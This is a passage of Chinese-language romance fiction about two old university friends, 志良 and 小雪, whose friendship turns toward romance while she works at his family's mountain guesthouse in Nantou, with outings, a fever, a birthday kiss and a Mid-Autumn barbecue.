他抬头瞄了她一眼,喃喃自语地说:「要是真的做得到,现在妳也不会在这里了…」
结果不小心被小雪听到了,『喂!叶志良,你刚才说什幺?』
志良,此时刚好回完信件,閤上了笔电说:「好!走吧!」
小雪吓了一跳说:「要去那里?」
志良卖关子地说:「我先去房间放笔电,妳去把杯子放好,拿一件外套,等会儿我们门口见!」
小雪不知他葫芦里在卖什幺药,但基于对他的信任,她还是乖乖照着做。
几分钟后,志良不知从那里骑出了一台机车
还拿了一顶像是西瓜皮的半罩式安全帽给她
她戴了上去,很自然的就跨坐了上去
志良说:「走吧!」
小雪笑了出来说:「喂!你是要带我去那里?」
志良说:「到了就知道!」
小雪说:「喂,你还记得以前学生时期,常常这样骑机车出去联谊吗?」
志良说:「当然记得了,那时候,还真是快乐、无忧无虑。」
志良脱口说出:「我和我初恋的前女友就是在联谊中,一起出去玩认识的。」
小雪也说:「这幺巧,我也是耶!」
两人笑了出来:「还真是巧啊!」
小雪双手伸进去他的外套口袋里,抱着他说:「那你以前骑车载她出去玩时,你前女友也会这样子抱着你吗?」
志良说:「会啊!只不过…只不过…唉!」
小雪好奇地问说:「只不过什幺?」
志良说:「只不过当时我女友,她比较发育不良,只有B而已,好像没有现在妳的这幺大。」
下一秒钟,志良的头顶上就传来一声重击的声音及一声惨叫声『啊!』
小雪警告他说:「小心我跟我男友讲,说你吃我豆腐!」
接下来的时间,俩人就静静地不发一语……
直到志良开口说:「我们到了!」
小雪看了看四周说:「你载我来7-11和星巴克咖啡干嘛?又不是没看过?」
志良说:「很多人都会特地在这里拍照纪念,因为这里是全台湾最高的7-11和星巴克,海拔1743公尺。」
小雪搓着双手取暖说:「是喔!晚上外面真的变得好冷喔!」
志良拉着小雪就走上阶梯到7-11里面逛。
小雪看了看说:「志良,这里的东西都不好喔!」
志良说:「为什幺?」
小雪深怕被店员听到,刻意压低了声音,指着货架上的东西说:「你看!你看!货架上的零食每一包都膨包膨得好严重,这一定是坏掉的!」
志良说:「小雪,妳不要笑死我好不好?」
小雪说:「有什幺好笑的?」
志良说:「那是因为这里海拔高,气压低,包装里的压力比外面高,所以才会膨包,没有膨包的,表示没有密封完全,那才是有问题的,不信妳看看,那一包不是这样膨起来的?」
小雪再仔细看了看:「对吼∼难怪每一包都膨包,原来是这样子。」
志良酸了她一句:「说妳是城市乡巴佬还不承认!」
小雪耍赖似地对他吐了吐舌头。
志良拿了一包五香乖乖及一罐汽水后,问说:「那妳要吃什幺?」
小雪看了看,挑了一包可乐果及科学麵
在结帐时,小雪转头对志良说:「我要告诉你一个好消息,跟一个坏消息」
志良一脸不解地问说:「什幺好消息、什幺坏消息?」
小雪说:「好消息就是我要请客!坏消息就是我今晚没带钱包出来!」
志良笑了出来说:「我就知道没好事,又被妳给A了。」
小雪说:「喂!我当你是好朋友,才会A你的,其它人我还不屑A!」
志良自我解嘲地说:「那我还真的要谢谢妳看得起我啰?」
小雪自顾自地说:「你不要这幺说啦!今天难得我请客,你不要太客气,你还想吃什幺自己拿。」
志良碎碎唸地说:「拿了,还不是一样我要付钱…。」
两人搞笑的对话,连一旁在结帐的店员都忍不住笑了出来!
走到停车场,看得到夜景的地方,坐在水泥块上,拆开了零嘴解馋
小雪一边问着散布在山下的灯火处是那里?
志良一一帮她解答:「那是普罗旺斯、国民宾馆、佛罗伦斯山庄……」
小雪吃着吃着对志良说:「我想吃五香乖乖。」
志良抱怨说:「妳不是已经有可乐果,还有科学麵了?」
小雪求情地说:「我想吃吃看,拜託,一个就好!」
挨不住她的请求,志良拿了一个,塞进她的小嘴里
「还你一个!」小雪也拿了一个可乐果,塞进志良的嘴里
志良说:「还好我们现在是在这里,要是在家里被晓柔看到,两个二十几岁的成年人,还餵来餵去零食,她不笑死才怪!」
志良,话才刚一说完
旁边的小雪又拿一个可乐果说:「阿!张开」
又塞了一个进去他的嘴里,让他闭嘴!
她打开了科学麵揉碎加了调味包进去,一口一口的吃了起来
后来,她就嚷嚷着:「我吃到盐巴了,好鹹!好鹹!快点,汽水!」
志良赶紧打开了汽水递给了她
她吐吐舌头说:「鹹死我了!」
等她吃完后,志良问说:「疑∼现在几点了?」
小雪看了一下錶说:「九点多了。」
志良说:「明天好像会有不少房客,我们早点回去休息吧!要不然,我怕妳明天早上会爬不起来。」
说完后,志良拉起了小雪有点冰冷的手,要走到刚才停机车的地方
小雪又用眼角的余光偷偷瞄了志良一眼
而志良的脸上没有着太大的表情看了她一眼:「干嘛?」
小雪赶紧摇摇头,装作没事的样子。
在回程路上,山区开始起了些雾气,四周的空气也带点寒意
小雪主动提起:「我男友他真的都没有跟我连络。」
志良安慰她说:「他现在有新欢,又怎幺会记得妳这旧爱?」
志良问她:「当妳有了新欢的时候,妳还会记得妳的旧爱吗?」
小雪想了一会儿说:「嗯∼不会!」
志良说:「这就对啰!」
志良问说:「我现在可以问妳一个私人的问题吗?」
小雪说:「什幺问题?你问啊!」
志良问说:「我记得你家是开公司的,妳以前也是都待在你们家公司里上班,为什幺这次妳会答应来这里工作的呢?」
小雪说:「喔!这没什幺,我想离开原来的环境出来透透气,散散心,也还好只是三个月而已,如果是长期的话,可能就不行了,因为我会想家!」
志良说:「就这样,原因就这幺单纯?」
小雪说:「对啊!要不然,你觉得会是什幺?」
志良的语气有点失望地说:「喔,没有,我只是觉得奇怪?」
快到民宿门口时,在后面的小雪说:「志良!」
志良问说:「嗯?」
小雪说:「你可不可以再骑久一点?」
志良说:「可是已经到家了…」
小雪说:「我很怀念现在的这种感觉,不想这幺快就结束,可以吗?」
志良没说什幺话,直接摧了油门,过家门而不入
志良又补上了一句:「小姐,妳知道现在油价是很贵的吗?要节能减碳。」
小雪笑了一下说:「我才不管!」
小雪把双手插进志良外套的口袋里,安心地把头靠在志良的背上
闭上了眼,淡淡说了声:「谢谢你!」
最后又回到了门口,刚好遇上了阿姨在浇花,阿姨问说:「你们跑去那玩?」
志良说:「我载她去看一下最高的7-11,总不能来南投,却没去过那里。」
阿姨说:「那里有什幺好看的,改天你带她去庐山那里看看,她应该没去过,那里比较热闹好玩啦!」
志良说:「好啦!我先去放车了。」
进去后,有几名房客还在大厅里泡茶、聊聊天
志良跟小雪对他们微笑点了点头,就走上去準备休息了
走到房门口前,小雪看了左右四周都确定无人后
她主动靠了上去,往志良的左脸颊上轻轻地亲了一下
志良表情像是受到严重惊吓似的,马上抚着左脸说:「妳…妳干嘛?」
小雪俏皮地说:「谢谢!今晚我心情好多了,你不要会错意喔!」
进门后,志良手抚着刚才被小雪亲过的地方,久久不能自己!
他怎幺还会觉得有点面红耳热?
他又不是没被女孩子亲过?
某天在近黄昏的傍晚,在柜台前几个有男有女的大学生问着小雪
小姐!小姐!请问一下如果我们要去庐山泡温泉的话,要怎幺去比较好?
我们没有交通工具,这附近有公车可以到吗?
小雪看了一下柜檯旁,附近公车对开的时刻表,面有难色的说:
「现在要去庐山晚上六点是还有一班公车,但是回程下午四点后就没车了,你们去得了,但是回不来……。」
几名大学生闻言,失望的神情全写在脸上
七嘴八舌讨论着:「这下该怎幺办?难得来一趟,这下泡不了汤了…」
刚好晓柔从外面走了进来,看着大家怪异的脸色,问说:「怎幺啦?」
小雪把他们的情形告诉了晓柔,晓柔说:「哎呦!这还不简单!」
其它大学生像是看到救星一样,眼睛全都一亮,张大了耳朵!
晓柔说:「妳去楼上把那个〝没天良〞的给叫下来,叫他开小巴载你们去不就好了,叫他当司机兼嚮导,只是刚刚好而已!」
见小雪的表情有点迟疑,不太敢去叫他的样子
晓柔看了看说:「妳不敢叫他是不是?那我来!」
说罢,晓柔就抄起手机打了过去:「喂,没天良的!载客人去泡温泉,有六个人,你可以顺便带小雪去,她不是没去过?嗯,好!」
晓柔说:「OK啦!你们记得要带个人的毛巾去,五分钟后,大门口集合。」
耶!一阵欢呼声后,大家各自上楼去準备了一下
就坐上直达庐山泡汤的九人座专车了。
下车后,志良问说:「是情侣的请举手,嗯∼刚好三对!」
到了一家温泉会馆前,志良说:「那你们就先进去泡汤吧,一个小时后,我们就在这里集合,然后再带大家逛逛商店街。」
小雪跟着他们后头就走了进去,志良叫住了她:「江映雪!妳要干嘛?」
小雪说:「泡汤啊!晓柔她有借我泳衣啊!」
志良翻了白眼说:「拜託,那里面都是情人汤屋,妳是要跟人家进去搞3P,还是妳很肖想我青春的肉体,要跟我一起泡?」
小雪扬了扬眉毛,笑了出来说:「哼!我敢啊,看你敢不敢啰?」
志良拉着她的手走出去说:「走,我们去别间,有分男汤、女汤、SPA池的。」
小雪看着志良的脸调侃他说:「看不出来,你也会害羞喔?」
她又继续调戏他说:「别说我没给你机会,是你自己不把握的喔!」
她假装倒数起时间:「3!2……1!Over.」
志良说:「我才没那幺笨,认识妳那幺久了,我怎会不知道妳只是想戏弄我,
这招对我没用,我只跟我的女朋友或未来的老婆一起泡情人汤。」
小雪说:「没想到,这样都会失败,看来本小姐的魅力,最近减退了不少。」
志良捏了一下她的小鼻头:「妳还是很爱玩嘛,妳!」
惹得小雪轻呼了一声:「啊!」
小雪偷偷看了志良一眼,眼中隐藏着些许的失落感。
将近一小时后,志良和小雪已经泡完了汤
早一步先等在门口聊着天,等着房客们泡完汤出来
泡完汤后,大家脸色都红通通的,直嚷着感觉全身好舒服
志良又带着大伙到上头的煮蛋池,买了鸡蛋后,用温泉煮起蛋
还开玩笑地说:「喜欢吃熟的煮15分钟,不太熟的煮12分钟,想拉肚子的5分钟。」说完后,引起大伙一阵轻笑声。
大概是泡汤完,大伙也饿了,大家吃到像是果冻状蛋白的温泉蛋
光沾着盐巴吃,都觉得蛮好吃、感觉蛮新奇的。
在商店街上,买了些各种口味的小米麻糬及吊桥饼、樱花饼来试吃一下
小雪把樱花饼跟吊桥饼各咬了几小口,嚐了味道口感后
就拿给志良说:「我吃不下这幺大个,剩下的你帮我吃。」
志良说:「真没诚意,拿被老鼠咬过的给我吃!」
小雪撒娇地搥了他的肩膀一下说:「才不是老鼠!这是有美女加持过的!」
志良补上一句说:「加持过的口水……」
小雪又搥了他一下:「你少装清纯了你,你又不是没吃过女生的口水。」
志良说:「可是真的最近就都没吃到美女的口水。」
小雪对志良说「你嘴巴张开!」
接着,小雪作势像是要对着志良吐痰的样子:「咳∼」
志良一脸厌恶,逃离她的身边说:「我受不了妳,妳好噁喔妳!」
小雪大笑了出来:「哈!哈!」
一个大学生好奇地问说:「请问一下,你们俩个是男女朋友吗?」
志良开玩笑地回问说:「怎幺了?你们觉得我们俩个看起来像是吗?」
其中一个女孩子说:「你们俩个感觉起来很配的样子,可是你们真的不是吗?」
小雪一手搭上了志良的肩膀,像是对待完全不设防的朋友般地说着:「我们是很好很好的朋友,从大学时期就认识到现在了,感情就像是你们身边的另一半一样的好,但我们真的不是男女朋友。」
志良说:「对啊!等过几年,你们也会有像这样的朋友关係了。」
小雪用手指,指了指志良,意思是指他『很坏心!』
接着,小雪和志良俩人相视而笑
大学生比较单纯,也就自然听不出志良话中所留的梗。
走过了摇摇晃晃的庐山吊桥,準备到停车的地点
这一晚每个人都吃得饱饱的,房客们还特地买了几盒拌手礼
打算隔天要带回去给家人吃的,回到民宿后,大学生们在谢谢了志良的热心后
就各自上楼休息去了,小雪也特地买了几个吊桥饼拿给了晓柔
因为她知道晓柔也很爱吃些甜食…。
在前庭的观景台上,小雪双手撑在木头栅栏上
静静抬头仰望满天的星斗、挂在山头旁的下弦月
及山下一片漆黑有着几处依稀灯火的山景,微风吹拂起她如波浪般的捲髮
不知何时,志良已经站在她的身旁手里端了一杯咖啡要给她:「嗯∼妳的。」
她急忙将头撇过另一边去,用手背擦拭了一下眼角
这才转回头,接过手,轻说声:「谢谢!」
小雪用双手抱着杯子取暖,轻轻吹了一口气

吸了一下咖啡散发出来袅袅的香气,静静的不发一语
熟知她个性的志良也没多问,只是静静地站在她的身旁陪着她
最后,她终于从嘴里吐出了一句:「还是好痛!」
志良淡淡的说:「嗯!失恋没有特效药,只有时间才能治癒妳的伤痛,多失败几次后,妳就自然会有对爱情的抗体了。」
小雪笑了一下缓缓地说:「你现在是在诅咒我就对了?」
志良轻笑了一下,抿了一下嘴说:「往后我也不一定还有机会,能再当妳一时的避风港。」
小雪叫了一声:「志良。」
志良才一转头:「嗯?」
下一秒,小雪又冷不防地亲上了他的左脸颊
害得志良心头又是一惊,手一抖,杯里的咖啡轻贱了一些出来
志良问说:「这次又是谢谢我?」
小雪摇了摇头笑说:「不是,我要把失恋的病毒传染给你。」
志良淡淡地说着:「我早有了爱情抗体,相同的病毒,已经对我没作用了!」
说完,志良轻抚了一下她的头髮
道了声『晚安!』就转身走向屋子里去了
小雪站在原处无语地,抬头仰望着满天的星斗
她深深『唉∼』叹了一口长长的气!
再望了一眼志良离去的背影一眼,深思着他话里的含义:
「我早有了爱情抗体,相同的病毒,已经对我没作用了!」
隔天一早,晓柔坐在柜檯前使用着电脑,键入着房客资料
志良下楼后,好奇地问她说:「怎幺今天都还没看见小雪?」
她才开口说:「她好像发烧了,她说今天要请假休息。」
志良问说:「那她严不严重?」
她说:「不知道,我刚有拿药先给她吃了,她说她睡一觉应该就会好。」
志良关心地说:「那我还是先上去看一下她好了。」
才一走近房门口,就听见里面传出些咳嗽的声音
进房后,就看见小雪躺在床上睡着
他轻摇了她的肩膀,试着叫醒她:「小雪!小雪!」
叫了好几声,小雪才缓缓的睁开眼:「嗯?志良。」
志良说:「我听晓柔说妳人发烧了?」
小雪说:「没关係的,我睡一觉起来就好了。」
志良探了一下她额头上的温度,面色凝重地说:「不行,妳额头真的很烫,
而且发烧到眼睛都有点发红了,我看我还是带妳到山下的医院看一下医生,比较保险!」
小雪嫌麻烦地说:「不用啦!志良,你让我好好睡一觉就好。」
志良态度坚决地说:「不行,我既然把妳带上山来,我就有责任,好好的把妳带下山去,还有现在不是妳逞强的时候,要是妳真的出了什幺事,我会一辈子良心不安的,我先去开车子来,妳等我一下。」
说完后,志良就先跑下楼去了
过一会儿,志良又跑上来问说:「小雪,妳的健保卡放在哪里?」
小雪说:「我好像放在皮包里。」说完,她又忍不住咳了两声。
志良在打开她皮包的同时,他也发现了一张她之前和男友相拥甜蜜的合照
他的视线停在照片上约三秒,一找到了健保卡,就把皮包放回了原处
他从衣柜里找了一件外套帮她穿上,再帮她穿上袜子、鞋子
小雪说:「可是我骨头很酸痛,头又晕,全身也没力,我可能走不出房门。」
志良说:「那我就揹妳。」
小雪难为情地说:「不要,那很难看!很丢脸!」
志良说:「这里是我家,在我家,生病的人,是没有说不的权利!」
志良说:「妳看是要我揹妳,还是要我抱妳,让妳选一个?」
小雪虚弱地挤出了一丝微笑说:「那我情愿你揹我算了。」
志良揹着小雪从楼上走了下来,对柜檯的晓柔说:「我带她去山下看医生,有事就打手机给我,我顺便会把今天要买的东西买回来。」
晓柔说:「嗯!开车小心一点,这个带上车给她喝。」
晓柔顺手拿了一罐矿泉水给他
「小心头!」志良叮咛着她,小心翼翼地把小雪给揹上车……
屋子庭院的一旁,「老伴,你会不会觉得我们儿子太认真了点?要是改天我们生病了,他会不会也这样的对我们?」
一名年过半百的中年男人说:「儿孙自有儿孙福,人不痴狂妄少年!他知道他自已在做什幺,他心甘情愿就好了。」
志良带着小雪去山下的医院挂号给医生看过,还打了一针退烧针
回到家后,让她吃了药、喝了水后,她好像就又睡着了
他去浴室里拿了条小毛巾浸水,拧乾后摺好
放在她的额头上,帮助她散热
一会儿,她额头上的温度才渐渐降了下来
她似乎是感到舒服,紧皱着的眉间才略为放鬆了下来。
他三不五时就用手背去探一下她额头上的温度,确定她是否退烧了?
志良一手轻轻帮她把额头前散乱的头髮拨好、整理好
注视着她素颜的脸庞,而另一只手始终是紧握着她纤细的右手
门外传来晓柔的声音:「哥!妈叫你下去吃午饭了!」
在志良要离开前,怕小雪着凉,帮她把棉被给拉高了点
最后用嘴唇在她的额头上轻轻地啄了一下。
关上了灯,带上门后,门外传来了晓柔的声音:「医生说她怎样?」
志良说:「她感冒併发发烧,烧到快39度,打了退烧针后,加上刚才给她吃了药,比较不会咳嗽了,体温也降下去了。」
晓柔说:「那就好,走吧!先下去吃饭了。」
随着门外俩个人远去的脚步声,床上状似熟睡的小雪
此刻,缓缓地睁开了眼,慢慢将右手从棉被外伸进了棉被里
嘴角边出现了一丝丝的微笑,闭上眼安心地沈睡了去。
一直到房间里,再次亮起了刺眼昏黄的灯光
她才勉强地睁开了眼,她看到眼前来的人是志良
他端着一个餐盘,上面有一碗稀饭及一些清淡开胃的小菜
他轻声地叫着:「小雪,先起床吃饭,要睡等吃过饭,吃了药后再睡。」
她揉了揉眼睛,坐了起身,抓了下头髮问说:「我睡了多久?现在几点了?」
志良说:「现在是晚上七点了,妳从中午就一直睡到现在。」
志良先是用手背探了一下她额头的温度,问说:「妳有感觉好多了吗?」
她说:「嗯∼头不会那幺晕了,比较不会那幺难过了,你吃饭了吗?」
志良说:「大家都吃过了,只剩妳一个还没吃而已,我妈怕妳吃不下,还特地弄了稀饭要给妳吃。」
志良夹了些菜放在稀饭里,端着碗坐在床沿前,一副準备要餵她吃的样子
她感到不好意思,连忙说:「志良,我自己来就可以了。」
志良假装生气地说:「生病的人,是没有说不的权利。」
志良就耐心地一口、一口的餵起了她
她说着:「大概是昨晚泡完温泉后,吹了风着凉,我这辈子好像还没有感冒这幺严重过,对了,今天柜檯有很忙吗?晓柔,她一个人还忙得过来吗?」
志良说:「这妳别担心了,好好养病,有我在,不用担心!」
过一会儿,小雪不知道想到什幺笑了出来
志良问说:「怎幺了?」
小雪说:「我突然想到一首歌!」
志良好奇地问说:「妳想到什幺歌?」
小雪说:「王菲的我愿意。」
志良又舀了一匙稀饭餵她,问说:「为什幺妳会想到这首歌?」
小雪嚼了几口,轻声哼着说:「我愿意为(餵)妳!我愿意为(餵)妳!」
志良翻了一下白眼,摇了摇头
志良说着:「没看过生病的人,还能像妳有这样的心情,能开玩笑的!」
在餵完她最后一口时,问她说:「妳有吃饱吗?」
小雪,此刻就像是个小女孩一样,乖乖地回答说:「嗯∼我吃饱了。」
志良抽了床头上的面纸,顺便帮她把嘴角给擦拭乾净。
小雪开玩笑地说:「真希望可以一直这样病下去,这样就有人天天餵我了。」
志良说:「对!只不过妳会是在埔里的荣民医院里,天天会有护士,照三餐準时餵妳大筒的500.CC葡萄糖点滴!」
小雪嘟着嘴反对说:「不要,我才不要吃点滴,那看起来很难吃的样子!」
志良对她说:「妳也知道那很难吃,那妳病还不赶快好,再不好就把妳再捉去打一针大筒的!」
小雪说:「不要,打针好痛!我很怕打针,我会乖乖听话赶快好起来的。」
说完后,小雪才发现自己怎幺会对志良说出这种,像是在对男友撒娇的话来
她突然感到有点难为情。
志良看了她一眼,笑了一下,倒了些水给她喝,再给她吃了一包药
志良说:「好啦,吃饱喝足了,药也吃了,妳可以继续当妳的睡美人了!」
小雪用食指轻点了一下他的脸颊,代替亲吻地说:「记得帮我向你妈妈说声谢谢,还有谢谢你!先欠你一个,等我病好,免得传染给你。」
志良关上了灯,在带上门前丢下了一句:「我看妳八成是延误就医,头壳烧坏去,阿达麻爬带、秀逗、孔固力了!」
(注:阿达麻爬带.秀逗.孔固力,原为日语,意指脑袋坏去的意思,老一辈人常拿来当成是台语在使用。)
惹得小雪忍不住笑了出来,不知道为什幺?
明明生病对人来说,应该是一件身心都会感到痛苦的事
而她除了身体上的不舒服感以外,在心理上却是一点也不觉得呢?
她突然怀念起以前,曾被人照顾、关心,捧在手心上的感觉。
隔天,她一早就起床下楼去帮忙做事了
举凡见到她的晓柔、阿姨、叔叔都叫她再休息一天,会比较好
而志良更是一脸担心的样子,常常出现在她的身旁看着她,怕她昏倒
但她说:「其实昨天打了一针,睡一觉起来,她就觉得好得差不多了,而且她已经休息一天了,她知道大家也很忙,她想起来帮忙。」
大家也就只好尽量让她待在柜檯处理事情,叮咛她不要出去外面吹到风
这一晚,她一吃完晚饭洗完澡,吃了药就早早的爬上床睡觉去
晓柔也自动地把听歌的音量关小了点,免得去吵到她休息。
一大清早,志良正在厨房帮他妈妈準备给房客们用的早餐
小雪从楼上走到了厨房:「阿姨早!」
志良特地回头看了她一眼,小雪也给了他一个微笑
他妈妈说:「小雪,妳身体有好了吗?」
小雪说:「嗯∼好的差不多了,还有什幺地方需要帮忙的!」
他妈妈说:「那妳帮忙把一些酱菜类的放到不同的大盆子里,还有拿两条土司麵包出来放,志良,你去后院拔两颗高丽菜,洗一洗、顺便剥一剥,拿给我炒。」
分工合作之下,果然今天的早餐工作很快就完成了。
后来,志良再见到她时,把她拉到一旁比较没人看到的地方
直接把他的手背放在她的额头上量量温度
这才放心的说:「嗯!妳应该没事了。」又走开去忙他的事
她望着志良的背影,感觉心里有一股暖流流过了心底。
早上小雪和晓柔在柜台里,忙着办理房客退房的事宜
几个準备要离开的男生,围在柜檯旁问着小雪:「江小姐,我觉得妳很有气质,又长得蛮正的,妳现在有男朋友吗?」
小雪先是笑了一下,然后,摇了摇头。
男生又问说:「那方便给我手机号码吗?我很想跟妳交个朋友。」
一旁的晓柔,听着听着,也笑了出来
小雪说:「我没有在用手机,你可以打民宿的这支电话,但是我在上班时,是不能聊天的,你会害我被扣薪水的。」
男生们又不死心地问说:「喔!真可惜,那妳平常几点下班?」
小雪说:「下午四点过后。」
男生们说:「那我下午四点后再打可以吗?」
小雪笑说:「我都下班了,又怎幺会接电话呢?」
小雪说:「你可以留电话给我,如果我想认识你的话,我就会打给你了。」
一堆男人,就匆忙拿了纸笔留下了自己的电话及姓名拿给了小雪
小雪就把这些纸条先压在柜檯的电话下
在他们盛情的邀约下,在前庭跟他们照了几张合照
最后挥手跟他们道再见说:「下次有要再来时,记得打电话给我喔!」
晓柔一脸羡慕的表情说:「哇!小雪,妳好厉害,妳是我的偶像!」
小雪说:「反正我只作到九月底,就顺便帮你们拉生意,打打广告!」
小雪把抽屉的纸条及刚才收到的那几张放在一起,点了点说
:「两个月来,累积三十五张了!」
晓柔说:「我哥说,还有住过的房客在我们的网页上留言要问妳的电话,还有人在网路上看到留言,说有空要绕过来看看妳长什幺样子?」
小雪笑了出来说:「太夸张了吧!」
志良刚好走了过来问说:「我要去市区买东西,顺便载一对房客下山,有没有人要买东西,小雪,妳要不要一起去?」
小雪说:「好啊!好啊!志良等我,我去拿一下钱包马上来。」
把房客送到埔里市区,跟他们道再见后,志良也买好了该买的东西
他并不急着回去,而把车开到一处都是酒瓮的地方
小雪问说:「这是埔里酒厂吗?你要带我来逛酒厂?」
志良停好了车说:「嗯!走吧!」
看着一车一车的游览车把游客们不停的载进酒厂里,人声鼎沸
志良主动伸手紧紧牵住了小雪,而小雪并没有反对任由志良牵着
带她四处逛,只是偶而她会忍不住抬起头,偷瞧着志良
小雪难得有机会出来市区,她开心的就血拼了起来
当场就吃了两支绍兴糯米冰棒,一支绍兴香肠,及一颗绍兴茶叶蛋
手上还拎了两盒白酒蜂蜜蛋糕、两斤绍兴香肠、两盒绍兴凤爪
还有酒厂出品的爱兰白酒及荔枝酒及几罐敷脸用的清酒粕
她这才高兴的肯打道回府。
回到民宿时,晓柔看见她提了大包小包的见面第一句话就是:
「哇!小雪,妳是发疯了吗?买那幺多东西?」
小雪说:「我有买清酒粕,晚上我们来敷敷看。」
果然女孩子都是同一个性子,下一秒钟
连晓柔的眼睛也亮了起来说:「真的吗?妳有买到?」
小雪说:「我有多买,当场就拿了一罐送给了晓柔!」
晓柔兴奋地说:「我朋友说敷起来效果不错耶!好啊!好啊!谢谢妳了,小雪,我之前一见到妳就知道人很好!」
小雪又把绍兴香肠、白酒蛋糕、绍兴凤爪,拿到厨房给我妈
听到小雪说:「我听志良说阿姨妳蛮喜欢吃凤爪,就顺便带两盒回来。」
一会儿厨房就传来我妈的声音:「三八啦!不用这幺多礼啦!晚上我把香肠煎些来大家一起吃……。」
过一会儿,又传来我爸的声音:「呦!小雪,妳怎幺知道叔叔喜欢喝这款白酒的?真是谢谢妳了!」
到了晚上,志良从半开的房门缝里传来隔壁房两个女人大惊小怪的尖叫声:
「上面写说要敷15∼20分钟再洗掉,现在差不多可以洗掉了」
过了一会儿
「哇!我觉得洗掉后,皮肤真的变得紧实,光滑多了耶!」
「这真好用,听说连续敷一个礼拜,皮肤就会变白,我们来试试看…」
志良作势翻了一下白眼,心想「又来了!」
顺手关上了房门,隔绝了房外不停传来两个女人呱噪的声音
但他也佩服起小雪,有办法一下子就把全家人的心全给收服了。
过了几天后,清早小雪下楼时,志良已经在帮忙準备早餐了
她也走了过去说:「早,需要帮忙吗?」
志良说:「嗯,鸡蛋不够,妳帮我拿些鸡蛋来好吗?」
小雪用小篮子装了一些过来,她问说:「煎蛋会很难吗?」
志良说:「不会很难啊!妳看连我光常看我妈煎,我也学会了。」
小雪说:「那让我试试看!」
小雪一手拿了锅铲,志良帮她下了一颗蛋下去
然后,志良就先去忙準备其它的早餐了
过了一会儿,他好像闻到了烧焦味,他走了回来看
一颗好好的荷包蛋,周围快被小雪活活快煎成作白菜鲁用的蛋酥了
小雪这才天真地问志良说:「那现在可以翻了吗?」
志良说:「我被妳打败了,它已经过熟了。」
小雪问说:「那怎幺办?」
志良开玩笑说:「那一颗就是妳今天的早餐了。」
小雪求情地说:「不要啦!我不喜欢吃这种的,再一次!」
志良又帮她下了一颗蛋给她
小雪笨手笨脚的,一不小心就把蛋黄给弄破流了出来
她懊悔地说:「破掉了!」
她气得把锅铲还给了志良说:「不好玩,还是给你来吧!」
志良说:「喂!妳煎坏的这两颗蛋叫谁吃?」
小雪说:「当然就是你了。」
志良说:「为什幺我就要吃妳煎坏掉的蛋?」
小雪说:「教不严,师之惰,你要负起责任吃掉它,乖,要听话!」
她离开前,还交待了一句:「对了,记得煎一颗蛋黄没全熟的我要吃喔!」
志良拿着锅铲在后面喊着:「江映雪,妳这越帮越忙的家伙,我要杀了妳!」
惹得小雪,调皮地回头对他作了一个鬼脸!
志良心想:「实在是快被她气死!但一见到她的笑容,就又捨不得怪她了。」
中午时分,一名开着邮局绿色小货车的邮差,在门前喊着:
「江映雪,挂号!」
小雪从柜檯里跑了出来,领了一个小纸盒的东西回来
一个人躲在柜檯后,偷拆开来看,她很满意地笑了出来
她特地把小纸盒给拿回房间里去放……。
志良感觉到今天的小雪,不知道是吃错了什幺药?
一看到他就一直对着他笑,她还好像很开心的样子?
晚上他一个人在柜檯时,小雪从楼上看了看楼下的四周没人,才走了下来
小雪叫了声:「志良!」
志良:「嗯∼什幺事?」
小雪神秘兮兮地说:「我要告诉你一件好消息及坏消息,你想要听那一件?」
志良消遣她说:「妳又忘了带钱包,然后又想要请客了?」
小雪难为情地说:「不是上次那一件事啦!」
志良说:「那我想先听听看好消息。」
小雪神秘地说:「好消息是今天是你的生日!」
志良笑了出来说:「那坏消息是什幺?」
小雪说:「坏消息就是今天你没有蛋糕可以吃。」
志良说:「那也还好,反正我也很久没过生日了。」
小雪从身后拿出了一个小盒子说:「不过,我有準备生日礼物给你。」
志良接过手后,有点不确定地问说:「真的?这该不会是什幺整人的玩具吧?」
小雪笑了笑、摇了摇头,表示不是
志良打开后,有点惊讶地说:「这…这会不会太贵重了点?」
小雪说:「这是钛锗项圈,听说会对身体不错,比较不会疲劳。」
志良感到不解地问说:「妳都待在山上,妳是去哪里生出来的?」
小雪说:「你落伍了,你不知道有网路购物吗?」
小雪用手对他比了比,叫他靠近一点
志良把头从柜檯里伸过来一点,问说:「干嘛?」
小雪往他的右脸颊上亲了一下说:「这是上次生病时,欠你的,现在还给你!」
接着,她说那这是这一次的:「生日快乐!」
她直接对着志良的嘴唇快速地亲了一下
她望着惊讶到没有反应的志良笑了一下,就走上了楼梯,打算回房去了
志良从后头叫住了她,亮了亮手上的礼物及比了比自己的嘴唇
很感动地说:「这生日礼物我很喜欢,小雪,谢谢妳!」
回到了房间后,她用手抚着心口
讶异着自己的心,现在为何还会怦然地急速跳动着?
晓柔望着还在发呆的小雪,好奇地问说:「妳是在傻笑个什幺劲?」
她才赶紧恢复神智说:「喔!没什幺啦!」
晓柔说:「刚才妳的手机,好像有响的样子,我没帮妳接,妳记得看一下。」
小雪看了看,是家里打来的
她回拨了回去:「喂!妈,找我什幺事?」
她说着:「嗯,没关係啦,再两个礼拜我就回去了,妳不要担心啦,好啦!我回到台北时再打电话给妳,就这样啰,拜拜。」
晓柔问说:「妳妈喔?」
小雪说:「嗯!没事了。」
小雪望着另一组不知道是谁的手机号码
她试着回拨了回去:「喂!请问刚才有人拨这支电话吗?」
手机里传出了一个她以前很熟悉,而现在却又有点陌生的男人声音:
「喂,是我,映雪,妳最近还好吗……」
小雪脸上的神情瞬间紧张起来,开了房门走出门外,刻意避开了其它人讲手机
进房后,小雪静静地放下了手机,脸上有着不安、烦恼的神情
这晚她早早就爬上床,拉上了棉被就寝。
今天刚好就是中秋节了,有些房客打算要在民宿前庭烤肉及赏月
一大早叔叔跟阿姨就开车出去山下,帮房客张罗烤肉的用品及用具
晓柔看了看外面的天气说:「今天晚上应该会是个赏月的好天气。」
志良也正忙着去工作房找之前收起来的小塑胶椅,準备晚上烤肉时可以使用
不少房客在下午四、五点后,就陆续回来休息一下
晚上大伙就在前院三两成群,开始烤起肉来
小雪和志良也架起了一个炉子,堆起了煤炭,点了火种就昇起了火
放上了五花肉片、甜不辣、香肠就烤了起来
志良说:「小雪妳负责涂烤肉酱,我负责翻面。」
小雪说:「嗯!」
有时因为油脂滴入火红的煤炭,而冒出熊熊的火舌
惹得小雪怕被烧到,而尖叫连连
志良急忙倒入些清水灭火,俩人玩得不亦乐乎!
烤好的小雪就会拿去孝敬叔叔、阿姨,及不太爱闻烟味,只爱吃的晓柔
有时小雪忍不住,一烤好的就拿了起来自己先偷吃
不过,她也是很有良心的,看志良烤得满头大汗的
她也会适时拿卫生纸帮他擦擦汗、或是拿杯饮料让他解个渴
